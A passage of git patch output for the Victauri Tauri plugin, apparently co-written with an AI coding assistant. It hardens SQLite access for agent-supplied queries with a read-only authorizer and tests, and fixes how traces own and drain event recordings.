integrity check is quick_check (integrity_check_kind). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-plugin/src/database.rs | 325 ++++++++++++++++++++----- 1 file changed, 262 insertions(+), 63 deletions(-) diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 0a4e656d..69ce3ae6 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -23,14 +23,21 @@ impl InterruptGuard { let done = Arc::new(AtomicBool::new(false)); let interrupt = conn.get_interrupt_handle(); let done_for_thread = done.clone(); - let poll = Duration::from_millis(25).min(deadline.max(Duration::from_millis(1))); + // The watchdog PARKS until the deadline and is unparked on drop, so disarming is + // immediate. (It used to sleep in fixed 25ms steps that the drop then joined — ~25ms + // per guard however fast the guarded query was, which capped db_health at ~200 tables + // per 5s budget even on a tiny database.) let handle = std::thread::spawn(move || { let start = Instant::now(); - while start.elapsed() < deadline { + loop { if done_for_thread.load(Ordering::Acquire) { return; } - std::thread::sleep(poll); + let elapsed = start.elapsed(); + if elapsed >= deadline { + break; + } + std::thread::park_timeout(deadline - elapsed); } if !done_for_thread.load(Ordering::Acquire) { interrupt.interrupt(); @@ -48,6 +55,7 @@ impl Drop for InterruptGuard { fn drop(&mut self) { self.done.store(true, Ordering::Release); if let Some(h) = self.handle.take() { + h.thread().unpark(); let _ = h.join(); } } @@ -112,91 +120,119 @@ const MAX_DB_HEALTH_CELL_BYTES: i32 = 1_048_576; /// Read-only health report for one `SQLite` database, in budgeted phases. /// -/// The cheap metadata PRAGMAs always run. The two phases that scale with database size — -/// per-table `count(*)` and `quick_check` — each get their own budget; a phase that runs out -/// is REPORTED (`row_count: null` / `integrity_check: "not completed …"`) instead of failing -/// the whole call. Before this, `quick_check` on a multi-GB database exhausted a single shared -/// deadline and the tool returned only "timed out", discarding every cheap result with it. +/// Every phase runs under its own budget, and a phase that runs out is REPORTED instead of +/// failing the whole call: the metadata PRAGMAs + table listing, the per-table `count(*)`s, +/// and `SQLite`'s `quick_check` (a full-file scan that dominates on large databases). Before +/// this, `quick_check` on a multi-GB database exhausted one shared deadline and the tool +/// returned only "timed out", discarding every cheap result with it. +/// +/// The database file is treated as untrusted input: the connection is opened read-only with +/// `trusted_schema=OFF` and `SQLite`'s defensive mode, and virtual tables are listed but never +/// counted (counting one runs its module's code). #[cfg(feature = "sqlite")] pub(crate) fn db_health_report( path: &str, count_budget: Duration, check_budget: Duration, ) -> Result { - let conn = - rusqlite::Connection::open_with_flags(path, rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY) - .map_err(|e| format!("cannot open database: {e}"))?; + let conn = open_untrusted_read_only(path)?; conn.set_limit( rusqlite::limits::Limit::SQLITE_LIMIT_LENGTH, MAX_DB_HEALTH_CELL_BYTES, ); - let pragma_i64 = |name: &str| -> i64 { - conn.pragma_query_value(None, name, |r| r.get(0)) - .unwrap_or(0) - }; - let journal_mode: String = conn - .pragma_query_value(None, "journal_mode", |r| r.get(0)) - .unwrap_or_else(|_| "unknown".to_string()); - let page_count = pragma_i64("page_count"); - let page_size = pragma_i64("page_size"); - let freelist_count = pragma_i64("freelist_count"); - let wal_checkpoint = if journal_mode == "wal" { - "not run (read-only diagnostics)" - } else { - "n/a (not WAL mode)" - }; - let db_size_mb = (page_count * page_size) as f64 / (1024.0 * 1024.0); - - // Phase 1: table names (bounded listing) + row counts under a shared count budget. - let mut names = Vec::new(); - let mut tables_truncated = false; - { + // Phase 0: metadata + the (bounded) table listing. + let meta = run_bounded(&conn, DB_HEALTH_META_BUDGET, |c| { + let text = |name: &str| c.pragma_query_value(None, name, |r| r.get::<_, String>(0)); + let int = |name: &str| c.pragma_query_value(None, name, |r| r.get::<_, i64>(0)); + let journal_mode = text("journal_mode")?; + let page_count = int("page_count")?; + let page_size = int("page_size")?; + let freelist_count = int("freelist_count")?; + let mut stmt = c.prepare( + "SELECT name, (sql LIKE 'CREATE VIRTUAL%') FROM sqlite_master \ + WHERE type='table' ORDER BY name", + )?; + let mut names: Vec<(String, bool)> = Vec::new(); let mut table_bytes = 0usize; - let mut stmt = conn - .prepare("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name") - .map_err(|e| format!("cannot list tables: {e}"))?; - let rows = stmt - .query_map([], |r| r.get::<_, String>(0)) - .map_err(|e| format!("cannot list tables: {e}"))?; - for name in rows.flatten() { + let mut truncated = false; + let mut rows = stmt.query([])?; + while let Some(row) = rows.next()? { + let name: String = row.get(0)?; + let is_virtual: bool = row.get::<_, Option>(1)?.unwrap_or(false); if names.len() >= MAX_DB_HEALTH_TABLES || table_bytes.saturating_add(name.len()) > MAX_DB_HEALTH_TABLE_BYTES { - tables_truncated = true; + truncated = true; break; } table_bytes = table_bytes.saturating_add(name.len()); - names.push(name); + names.push((name, is_virtual)); } - } + Ok(( + journal_mode, + page_count, + page_size, + freelist_count, + names, + truncated, + )) + }); + let (journal_mode, page_count, page_size, freelist_count, names, tables_truncated) = match meta + { + Bounded::Done(m) => m, + Bounded::TimedOut => { + return Err(format!( + "database metadata did not load within {} ms", + DB_HEALTH_META_BUDGET.as_millis() + )); + } + Bounded::Failed(e) => return Err(format!("cannot read database metadata: {e}")), + }; + let wal_checkpoint = if journal_mode == "wal" { + "not run (read-only diagnostics)" + } else { + "n/a (not WAL mode)" + }; + #[allow(clippy::cast_precision_loss)] + let db_size_mb = page_count.saturating_mul(page_size) as f64 / (1024.0 * 1024.0); + + // Phase 1: per-table row counts under a shared count budget. let counts_started = Instant::now(); - let mut row_counts_complete = true; + let mut budget_exhausted = false; + let mut all_counted = true; let mut tables = Vec::with_capacity(names.len()); - for name in names { - let remaining = count_budget.saturating_sub(counts_started.elapsed()); - let count = if !row_counts_complete || remaining.is_zero() { - row_counts_complete = false; - None + for (name, is_virtual) in names { + let mut entry = serde_json::json!({ "name": name, "row_count": null }); + if is_virtual { + entry["virtual"] = serde_json::json!(true); + all_counted = false; } else { - let sql = format!("SELECT count(*) FROM {}", quote_sqlite_identifier(&name)); - match run_bounded(&conn, remaining, |c| { - c.query_row(&sql, [], |r| r.get::<_, i64>(0)) - }) { - Bounded::Done(n) => Some(n), - Bounded::TimedOut => { - row_counts_complete = false; - None + let remaining = count_budget.saturating_sub(counts_started.elapsed()); + if budget_exhausted || remaining.is_zero() { + budget_exhausted = true; + all_counted = false; + } else { + let sql = format!("SELECT count(*) FROM {}", quote_sqlite_identifier(&name)); + match run_bounded(&conn, remaining, |c| { + c.query_row(&sql, [], |r| r.get::<_, i64>(0)) + }) { + Bounded::Done(n) => entry["row_count"] = serde_json::json!(n), + Bounded::TimedOut => { + budget_exhausted = true; + all_counted = false; + } + Bounded::Failed(e) => { + entry["count_error"] = serde_json::json!(e); + all_counted = false; + } } - // A per-table failure (e.g. a virtual table whose module is not loaded) is - // not a budget problem — report no count for that table and keep going. - Bounded::Failed(_) => None, } - }; - tables.push(serde_json::json!({ "name": name, "row_count": count })); + } + tables.push(entry); } - // Phase 2: integrity, on its own budget — a full-file scan that dominates on large DBs. + // Phase 2: integrity, on its own budget. let integrity = match run_bounded(&conn, check_budget, |c| { c.pragma_query_value(None, "quick_check", |r| r.get::<_, String>(0)) }) { @@ -219,12 +255,34 @@ pub(crate) fn db_health_report( "freelist_count": freelist_count, "wal_checkpoint": wal_checkpoint, "integrity_check": integrity, + "integrity_check_kind": "quick_check", "tables": tables, "tables_truncated": tables_truncated, - "row_counts_complete": row_counts_complete, + // Every listed table has a row count (false if the budget ran out, a count failed, or a + // table is virtual and deliberately not counted). + "row_counts_complete": all_counted, + "row_count_budget_exhausted": budget_exhausted, })) } +/// Budget for the metadata PRAGMAs + table listing in [`db_health_report`]. +#[cfg(feature = "sqlite")] +const DB_HEALTH_META_BUDGET: Duration = Duration::from_secs(3); + +/// Open a database file Victauri did not create as read-only UNTRUSTED input: with +/// `trusted_schema=OFF` (schema-embedded SQL functions / virtual tables cannot run with side +/// effects) and `SQLite`'s defensive mode (no writes to shadow tables / schema corruption). +#[cfg(feature = "sqlite")] +pub(crate) fn open_untrusted_read_only(path: &str) -> Result { + let conn = + rusqlite::Connection::open_with_flags(path, rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY) + .map_err(|e| format!("cannot open database: {e}"))?; + conn.pragma_update(None, "trusted_schema", false) + .map_err(|e| format!("cannot harden database connection: {e}"))?; + conn.set_db_config(rusqlite::config::DbConfig::SQLITE_DBCONFIG_DEFENSIVE, true) + .map_err(|e| format!("cannot harden database connection: {e}"))?; + Ok(conn) +} /// Quote an arbitrary table name as a `SQLite` identifier (`"…"`, embedded quotes doubled). #[cfg(feature = "sqlite")] pub(crate) fn quote_sqlite_identifier(name: &str) -> String { @@ -365,6 +423,51 @@ static SAFE_PRAGMAS: &[&str] = &[ "stats", ]; +/// PRAGMAs on [`SAFE_PRAGMAS`] whose argument selects WHAT to read (a table, an index, a row +/// limit) rather than setting a value. Every other PRAGMA given an argument is a write +/// (`PRAGMA user_version(5)` is the same as `PRAGMA user_version = 5`). +#[cfg(feature = "sqlite")] +static READ_PRAGMAS_WITH_ARG: &[&str] = &[ + "table_info", + "table_xinfo", + "table_list", + "index_list", + "index_info", + "index_xinfo", + "foreign_key_list", + "foreign_key_check", + "integrity_check", + "quick_check", +]; + +/// `SQLite` authorizer for agent-supplied `query_db` SQL: default-deny. Reads, SQL functions, +/// recursive CTEs, and allowlisted read-only PRAGMAs are permitted; everything else (writes, +/// ATTACH, schema changes, transactions, setter PRAGMAs) is refused before it runs. +#[cfg(feature = "sqlite")] +fn query_authorizer(ctx: rusqlite::hooks::AuthContext<'_>) -> rusqlite::hooks::Authorization { + use rusqlite::hooks::{AuthAction, Authorization}; + match ctx.action { + AuthAction::Select + | AuthAction::Read { .. } + | AuthAction::Function { .. } + | AuthAction::Recursive => Authorization::Allow, + AuthAction::Pragma { + pragma_name, + pragma_value, + } => { + let name = pragma_name.to_ascii_lowercase(); + let allowed = SAFE_PRAGMAS.contains(&name.as_str()) + && (pragma_value.is_none() || READ_PRAGMAS_WITH_ARG.contains(&name.as_str())); + if allowed { + Authorization::Allow + } else { + Authorization::Deny + } + } + _ => Authorization::Deny, + } +} + /// Extract the lowercased PRAGMA name from a `PRAGMA [schema.]name ...` statement, /// tolerating an optional `schema.` qualifier. Returns `None` for a non-PRAGMA or /// a malformed one. @@ -691,6 +794,15 @@ fn query_with_limits( rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY | rusqlite::OpenFlags::SQLITE_OPEN_NO_MUTEX, ) .map_err(|e| format!("failed to open database: {e}"))?; + // The database is untrusted input (see `open_untrusted_read_only`), and the query is + // agent-supplied: SQLite's own AUTHORIZER is the enforcement point, not string parsing. + // It sees every PRAGMA SQLite is about to run — statement form, `PRAGMA name(arg)`, and + // table-valued `pragma_*()` functions alike (the string checks above missed the last two). + conn.pragma_update(None, "trusted_schema", false) + .map_err(|e| format!("failed to harden database connection: {e}"))?; + conn.set_db_config(rusqlite::config::DbConfig::SQLITE_DBCONFIG_DEFENSIVE, true) + .map_err(|e| format!("failed to harden database connection: {e}"))?; + conn.authorizer(Some(query_authorizer)); // Limit lock waits separately from the CPU deadline enforced below. conn.busy_timeout(std::time::Duration::from_secs(5)) @@ -907,6 +1019,93 @@ mod tests { println!("{}", serde_json::to_string_pretty(&r).unwrap()); } + #[test] + fn authorizer_blocks_pragma_function_and_parenthesized_writes() { + let (_f, path) = create_test_db(); + // Table-valued pragma functions went through the SELECT prefix check unchecked. + let err = query(&path, "SELECT * FROM pragma_optimize", &[], None).unwrap_err(); + assert!( + err.contains("not authorized") || err.contains("prohibited"), + "{err}" + ); + // `PRAGMA name(arg)` is the write form for setter pragmas, with no `=` to catch. + for sql in ["PRAGMA user_version(5)", "PRAGMA journal_mode(DELETE)"] { + assert!(query(&path, sql, &[], None).is_err(), "must block: {sql}"); + } + // Legitimate read forms still work — statement, argument, and function forms. + assert!(query(&path, "PRAGMA table_info(users)", &[], None).is_ok()); + assert!(query(&path, "PRAGMA user_version", &[], None).is_ok()); + let r = query( + &path, + "SELECT name FROM pragma_table_info('users')", + &[], + None, + ) + .unwrap(); + assert_eq!(r["row_count"], 3); + assert!(query(&path, "SELECT count(*) FROM users", &[], None).is_ok()); + } + + #[test] + fn db_health_counts_hundreds_of_tables_within_budget() { + // Each count used to cost a fixed ~25ms (the interrupt watchdog's sleep step, joined + // on drop), capping a 5s budget at ~200 tables even on a tiny database. + let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); + let conn = rusqlite::Connection::open(file.path()).unwrap(); + let mut ddl = String::new(); + for i in 0..400 { + ddl.push_str(&format!( + "CREATE TABLE t{i} (x INTEGER); INSERT INTO t{i} VALUES (1);" + )); + } + conn.execute_batch(&ddl).unwrap(); + drop(conn); + let started = Instant::now(); + let r = db_health_report( + file.path().to_str().unwrap(), + Duration::from_secs(5), + Duration::from_secs(5), + ) + .unwrap(); + assert_eq!(r["tables"].as_array().unwrap().len(), 400); + assert_eq!(r["row_counts_complete"], true, "{r}"); + assert!( + started.elapsed() < Duration::from_secs(4), + "400 trivial counts took {:?}", + started.elapsed() + ); + } + + #[test] + fn db_health_lists_but_never_counts_virtual_tables() { + let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); + let conn = rusqlite::Connection::open(file.path()).unwrap(); + conn.execute_batch("CREATE TABLE plain (x); INSERT INTO plain VALUES (1);") + .unwrap(); + if conn + .execute_batch("CREATE VIRTUAL TABLE docs USING fts5(body);") + .is_err() + { + return; // this SQLite build has no FTS5; nothing to test + } + drop(conn); + let long = Duration::from_secs(10); + let r = db_health_report(file.path().to_str().unwrap(), long, long).unwrap(); + let docs = r["tables"] + .as_array() + .unwrap() + .iter() + .find(|t| t["name"] == "docs") + .expect("virtual table is listed"); + assert_eq!(docs["virtual"], true); + assert!( + docs["row_count"].is_null(), + "virtual tables are never counted" + ); + assert_eq!(r["row_counts_complete"], false); + assert_eq!(r["integrity_check_kind"], "quick_check"); + } + #[test] fn quote_sqlite_identifier_doubles_embedded_quotes() { assert_eq!(quote_sqlite_identifier("a\"b"), "\"a\"\"b\""); From 50c698afcc99b6127e7f49dc8ae942ec172c0d26 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 15:37:20 +1000 Subject: [PATCH 009/167] fix(recording,trace): shared drain watermark; trace owns its recording by id - The background drain and `recording flush` kept separate watermarks and re-recorded each other's events. Both now go through one routine with a shared per-window watermark + per-window lock (VictauriState.drain_watermarks); flush with no label drains every window. Starting or importing a recording resets the floor to now, so an imported session's old start time no longer pulls the page's history in. - trace: ownership is the session id it started, not a flag. Restarting a trace ends the previous trace's recording instead of orphaning it (with its drain loop); stopping a trace never stops a recording someone else started; the 30-min auto-stop claims its generation atomically, so it cannot stop a newer trace. - victauri-test CheckResult/VerifyReport are now #[non_exhaustive]; the CLI uses their constructors. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- crates/victauri-cli/src/main.rs | 13 +- crates/victauri-core/src/recording.rs | 19 +++ crates/victauri-plugin/src/introspection.rs | 68 +++++++++ crates/victauri-plugin/src/lib.rs | 5 + crates/victauri-plugin/src/mcp/mod.rs | 152 ++++++++++++++------ crates/victauri-plugin/src/mcp/server.rs | 63 ++++---- crates/victauri-plugin/src/screencast.rs | 70 +++++++-- crates/victauri-test/src/assertions.rs | 2 + 8 files changed, 291 insertions(+), 101 deletions(-) diff --git a/crates/victauri-cli/src/main.rs b/crates/victauri-cli/src/main.rs index d477d530..f754da9a 100644 --- a/crates/victauri-cli/src/main.rs +++ b/crates/victauri-cli/src/main.rs @@ -966,20 +966,19 @@ async fn cmd_coverage( eprintln!("{summary}"); if let Some(path) = junit_path { - let verify_report = victauri_test::VerifyReport { - results: vec![victauri_test::CheckResult { - description: format!( + let verify_report = + victauri_test::VerifyReport::new(vec![victauri_test::CheckResult::new( + format!( "IPC coverage {:.1}% ({}/{})", report.coverage_percentage, report.tested_commands, report.total_commands ), - passed: threshold.is_none_or(|t| report.meets_threshold(t)), - detail: if report.untested.is_empty() { + threshold.is_none_or(|t| report.meets_threshold(t)), + if report.untested.is_empty() { String::new() } else { format!("untested: {}", report.untested.join(", ")) }, - }], - }; + )]); let junit = verify_report.to_junit("victauri-coverage", std::time::Duration::from_secs(0)); if let Some(parent) = path.parent() { std::fs::create_dir_all(parent) diff --git a/crates/victauri-core/src/recording.rs b/crates/victauri-core/src/recording.rs index 54449c95..5b39538f 100644 --- a/crates/victauri-core/src/recording.rs +++ b/crates/victauri-core/src/recording.rs @@ -255,6 +255,25 @@ impl EventRecorder { } } + /// Session id of the active recording, or `None` if not recording. + #[must_use] + pub fn active_session_id(&self) -> Option { + crate::acquire_lock(&self.recording, "EventRecorder") + .as_ref() + .map(|r| r.session_id.clone()) + } + + /// Stop the active recording only if it is the session `session_id` (a caller that started + /// a recording must not stop a different one someone else started after it ended). + #[must_use] + pub fn stop_if_session(&self, session_id: &str) -> Option { + if self.active_session_id().as_deref() == Some(session_id) { + self.stop() + } else { + None + } + } + /// When the active recording started, or `None` if not recording. #[must_use] pub fn started_at(&self) -> Option> { diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index c6cd36fe..4e70b812 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -1247,6 +1247,74 @@ fn enumerate_children_macos(parent_pid: u32) -> Vec { children } +// ── Recording drain watermarks ───────────────────────────────────────────── + +/// Per-window high-water marks for pulling the JS bridge's event stream into a recording, +/// shared by the background drain loop and `recording flush`. +/// +/// Each kept its own watermark before, so a flush re-recorded what the drain had captured +/// (and vice versa). The floor is reset whenever a recording starts or is imported, so the +/// page's pre-recording history is never pulled in. A per-window async lock serializes the +/// two readers for the same window. +#[derive(Default)] +pub struct DrainWatermarks { + inner: std::sync::Mutex, +} + +#[derive(Default)] +struct WatermarkState { + floor_ms: f64, + per_label: HashMap, + locks: HashMap>>, +} + +impl DrainWatermarks { + fn state(&self) -> std::sync::MutexGuard<'_, WatermarkState> { + self.inner + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + } + + /// The exclusive watermark to read `label`'s stream from. + #[must_use] + pub fn since(&self, label: &str) -> f64 { + let s = self.state(); + s.per_label + .get(label) + .copied() + .unwrap_or(s.floor_ms) + .max(s.floor_ms) + } + + /// Advance `label`'s watermark to `ms` (never moves backwards). + pub fn advance(&self, label: &str, ms: f64) { + let mut s = self.state(); + let entry = s.per_label.entry(label.to_string()).or_insert(ms); + if ms > *entry { + *entry = ms; + } + } + + /// Start a new recording epoch: nothing at or before `floor_ms` is ever read. + pub fn reset(&self, floor_ms: f64) { + let mut s = self.state(); + s.floor_ms = floor_ms; + s.per_label.clear(); + } + + /// Forget windows that no longer exist (bounds the maps across ephemeral windows). + pub fn retain(&self, labels: &[String]) { + let mut s = self.state(); + s.per_label.retain(|l, _| labels.contains(l)); + s.locks.retain(|l, _| labels.contains(l)); + } + + /// The lock that serializes readers of `label`'s stream. + #[must_use] + pub fn lock_for(&self, label: &str) -> std::sync::Arc> { + std::sync::Arc::clone(self.state().locks.entry(label.to_string()).or_default()) + } +} #[cfg(test)] mod tests { use super::*; diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 5f3a880d..71ca6201 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -206,6 +206,9 @@ pub struct VictauriState { /// Application-defined state probes surfaced via the `app_state` tool. /// Registered through [`VictauriBuilder::probe`]. pub probes: introspection::AppStateProbes, + /// Shared per-window watermarks for draining JS events into a recording. + #[doc(hidden)] + pub drain_watermarks: introspection::DrainWatermarks, } impl VictauriState { @@ -245,6 +248,7 @@ impl VictauriState { screencast: Arc::new(screencast::Screencast::default()), db_search_paths: Vec::new(), probes: introspection::AppStateProbes::default(), + drain_watermarks: introspection::DrainWatermarks::default(), } } } @@ -837,6 +841,7 @@ impl VictauriBuilder { screencast: Arc::new(screencast::Screencast::default()), db_search_paths, probes: introspection::AppStateProbes::default(), + drain_watermarks: introspection::DrainWatermarks::default(), }); state.startup_timeline.mark("state_created"); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index abbe2f86..0f687dc2 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -1957,6 +1957,7 @@ impl VictauriMcpHandler { .unwrap_or_else(|| uuid::Uuid::new_v4().to_string()); match self.state.recorder.start(session_id.clone()) { Ok(()) => { + self.reset_drain_floor(); let result = serde_json::json!({ "started": true, "session_id": session_id, @@ -2061,6 +2062,7 @@ impl VictauriMcpHandler { "note": "the imported session is now the ACTIVE recording: live events are \ appended to it until you call recording action=stop", }); + self.reset_drain_floor(); self.state.recorder.import(session); CallToolResult::success(vec![ContentBlock::text(result.to_string())]) } @@ -2068,41 +2070,39 @@ impl VictauriMcpHandler { if !self.state.recorder.is_recording() { return tool_error("no active recording — start a recording first"); } - // Only events NEWER than what the recording already holds (exclusive): - // `getEventStream(0)` re-ingested everything since page load, and reading from - // the recording start re-recorded whatever the background drain had already - // captured. Drained events carry their JS timestamp, so this watermark lines up. - let since_ms = self - .state - .recorder - .latest_event_timestamp() - .map_or(0, |t| t.timestamp_millis()); - let code = format!("return window.__VICTAURI__?.getEventStream({since_ms}, true)"); - let label = params.webview_label.as_deref().unwrap_or("main"); - match self - .eval_with_return(&code, params.webview_label.as_deref()) + // Same routine (and the same shared per-window watermark + lock) as the + // background drain, so a flush never re-records what the drain already captured + // and vice versa. With no label, every live window is flushed. + let labels: Vec = match params.webview_label.as_deref() { + Some(l) => vec![l.to_string()], + None => self.bridge.list_window_labels(), + }; + let mut captured = 0usize; + let mut failed = Vec::new(); + for label in &labels { + match crate::mcp::server::drain_window_into_recording( + &self.state, + &self.bridge, + label, + ) .await - { - Ok(result_str) => { - let events: Vec = - serde_json::from_str(&result_str).unwrap_or_default(); - let mut count = 0u64; - for ev in &events { - if let Some(app_event) = - crate::mcp::server::parse_bridge_event_from(ev, label) - { - self.state.event_log.push(app_event.clone()); - self.state.recorder.record_event(app_event); - count += 1; - } - } - json_result(&serde_json::json!({ - "flushed": true, - "events_captured": count, - })) + { + Some(n) => captured += n, + None => failed.push(label.clone()), } - Err(e) => tool_error(format!("flush failed: {e}")), } + if !labels.is_empty() && failed.len() == labels.len() { + return tool_error(format!( + "flush failed: no window answered ({})", + failed.join(", ") + )); + } + json_result(&serde_json::json!({ + "flushed": true, + "events_captured": captured, + "windows": labels, + "unreachable_windows": failed, + })) } RecordingAction::Replay => { let calls = self.state.recorder.ipc_replay_sequence(); @@ -2471,6 +2471,12 @@ impl VictauriMcpHandler { let interval = params.interval_ms.unwrap_or(500); let max_frames = params.max_frames.unwrap_or(60); let label = params.webview_label.clone(); + // A trace started over a running one supersedes it: end the recording the + // previous trace started (if it is still the active one), or it would be left + // running with no owner (and the per-second drain loop with it). + if let Some(prev) = self.state.screencast.take_owned_recording() { + let _ = self.state.recorder.stop_if_session(&prev); + } let generation = self .state .screencast @@ -2479,13 +2485,14 @@ impl VictauriMcpHandler { let mut events_started = false; if params.with_events.unwrap_or(false) { let session_id = uuid::Uuid::new_v4().to_string(); - if self.state.recorder.start(session_id).is_ok() { + if self.state.recorder.start(session_id.clone()).is_ok() { + self.reset_drain_floor(); events_started = true; + // Only a recording THIS trace started is stopped with it — by session + // id, so a recording the agent starts later is never stopped by us. + self.state.screencast.set_owned_recording(Some(session_id)); } } - // Only a recording THIS trace started is stopped with it; a recording the - // agent started separately is left alone. - self.state.screencast.set_owns_recording(events_started); // Background capture task: snapshot the window each interval until the // screencast is stopped, superseded by a newer start, or hits the max duration. @@ -2496,11 +2503,11 @@ impl VictauriMcpHandler { while screencast.is_active() && screencast.generation() == generation { if t0.elapsed() >= MAX_TRACE_DURATION { // An abandoned trace must not capture (and burn CPU) forever. - if screencast.generation() == generation { - screencast.stop(); - if screencast.take_owns_recording() { - let _ = handler.state.recorder.stop(); - } + // Atomic: only if no newer trace has started in the meantime. + if screencast.stop_if_generation(generation) + && let Some(owned) = screencast.take_owned_recording() + { + let _ = handler.state.recorder.stop_if_session(&owned); } break; } @@ -2540,13 +2547,13 @@ impl VictauriMcpHandler { // Stop the recording `with_events` started, so the recorder (and the // per-second drain loop it enables) does not outlive the trace. The session // stays readable via recording get_events/export (last stopped session). - let event_count = if self.state.screencast.take_owns_recording() { - self.state + let event_count = match self.state.screencast.take_owned_recording() { + Some(owned) => self + .state .recorder - .stop() - .map_or(0, |session| session.events.len()) - } else { - self.state.recorder.event_count() + .stop_if_session(&owned) + .map_or(0, |session| session.events.len()), + None => self.state.recorder.event_count(), }; json_result(&serde_json::json!({ "stopped": true, @@ -4180,6 +4187,15 @@ impl VictauriMcpHandler { events } + /// Begin a new recording epoch for the drain: events at or before now are never pulled + /// into the recording (an imported session's old start time used to pull in the page's + /// whole history). + fn reset_drain_floor(&self) { + #[allow(clippy::cast_precision_loss)] + let now_ms = chrono::Utc::now().timestamp_millis() as f64; + self.state.drain_watermarks.reset(now_ms); + } + /// Resolve the EXACT window a native capture (`screenshot`, `trace`) should target, and /// require it to be visible. A native capture reads the on-screen surface; a hidden window /// has none, so the OS path (`PrintWindow` / `CGWindowListCreateImage`) silently returns @@ -5884,6 +5900,7 @@ mod authz_dispatch_tests { db_search_paths: Vec::new(), screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), + drain_watermarks: crate::introspection::DrainWatermarks::default(), }) } @@ -6274,6 +6291,7 @@ mod command_policy_dispatch_tests { db_search_paths: Vec::new(), screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), + drain_watermarks: crate::introspection::DrainWatermarks::default(), }) } @@ -6626,6 +6644,45 @@ mod command_policy_dispatch_tests { ); } + #[tokio::test] + async fn trace_stop_never_stops_a_recording_it_did_not_start() { + let state = state_with(PrivacyConfig::default()); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(RecordingBridge::default())); + let _ = call(&h, "trace", json!({"action": "start", "with_events": true})).await; + let traced = state + .recorder + .active_session_id() + .expect("trace started a recording"); + // The agent ends the trace's recording and starts its own. + let _ = state.recorder.stop(); + state.recorder.start("mine".to_string()).unwrap(); + let _ = call(&h, "trace", json!({"action": "stop"})).await; + assert_eq!( + state.recorder.active_session_id().as_deref(), + Some("mine"), + "trace stop must not end a recording it did not start (it started {traced})" + ); + } + + #[tokio::test] + async fn restarting_a_trace_does_not_orphan_its_recording() { + let state = state_with(PrivacyConfig::default()); + let h = VictauriMcpHandler::new(state.clone(), Arc::new(RecordingBridge::default())); + let _ = call(&h, "trace", json!({"action": "start", "with_events": true})).await; + let first = state.recorder.active_session_id().unwrap(); + let _ = call(&h, "trace", json!({"action": "start", "with_events": true})).await; + let second = state.recorder.active_session_id().unwrap(); + assert_ne!( + first, second, + "the first trace's recording was superseded, not orphaned" + ); + let _ = call(&h, "trace", json!({"action": "stop"})).await; + assert!( + !state.recorder.is_recording(), + "stop ends the second trace's recording" + ); + } + #[tokio::test] async fn import_refuses_to_discard_an_active_recording() { let state = state_with(PrivacyConfig::default()); @@ -6996,6 +7053,7 @@ mod screenshot_visibility_tests { db_search_paths: Vec::new(), screencast: Arc::new(crate::screencast::Screencast::default()), probes: crate::introspection::AppStateProbes::default(), + drain_watermarks: crate::introspection::DrainWatermarks::default(), }); VictauriMcpHandler::new(state, bridge) } diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 3566f6a6..29e6aedd 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -1052,13 +1052,8 @@ async fn event_drain_loop( bridge: Arc, mut shutdown: tokio::sync::watch::Receiver, ) { - // Per-window high-water marks. A single shared timestamp made every window - // after the first miss any events older than the previous window's latest — - // so the Rust event_log, the recorder (time-travel), and `explain` were blind - // to every non-default window (e.g. 4DA's notification/briefing windows). - // Track a watermark per label and drain every live window. - let mut watermarks: std::collections::HashMap = std::collections::HashMap::new(); - + // Per-window high-water marks live in `state.drain_watermarks` (shared with + // `recording flush`), one per label, so every live window is drained. loop { tokio::select! { _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {} @@ -1085,50 +1080,50 @@ async fn event_drain_loop( } // Drop watermarks for windows that have closed so the map can't grow // unbounded across many ephemeral windows. - watermarks.retain(|label, _| labels.contains(label)); + state.drain_watermarks.retain(&labels); // Drain all windows concurrently. A blind window (e.g. one missing the // `victauri:default` capability) hangs until the 5s eval timeout; draining // sequentially would let it stall every other window's drain. Concurrency // keeps a healthy window's events flowing regardless of a blind sibling. - // Never read earlier than the recording's start: an initial watermark of 0 pulled the - // page's whole pre-recording history (e.g. app-startup IPC) into the new recording, - // and a watermark left from an earlier recording is older than this one's start. - #[allow(clippy::cast_precision_loss)] - let floor = state - .recorder - .started_at() - .map_or(0.0, |t| t.timestamp_millis() as f64); let mut set = tokio::task::JoinSet::new(); for label in &labels { - let since = watermarks.get(label).copied().unwrap_or(0.0).max(floor); let state = Arc::clone(&state); let bridge = Arc::clone(&bridge); let label = label.clone(); - set.spawn(async move { - let newest = drain_window(&state, &bridge, &label, since).await; - (label, newest) - }); - } - while let Some(res) = set.join_next().await { - if let Ok((label, Some(newest))) = res { - watermarks.insert(label, newest); - } + set.spawn(async move { drain_window_into_recording(&state, &bridge, &label).await }); } + while 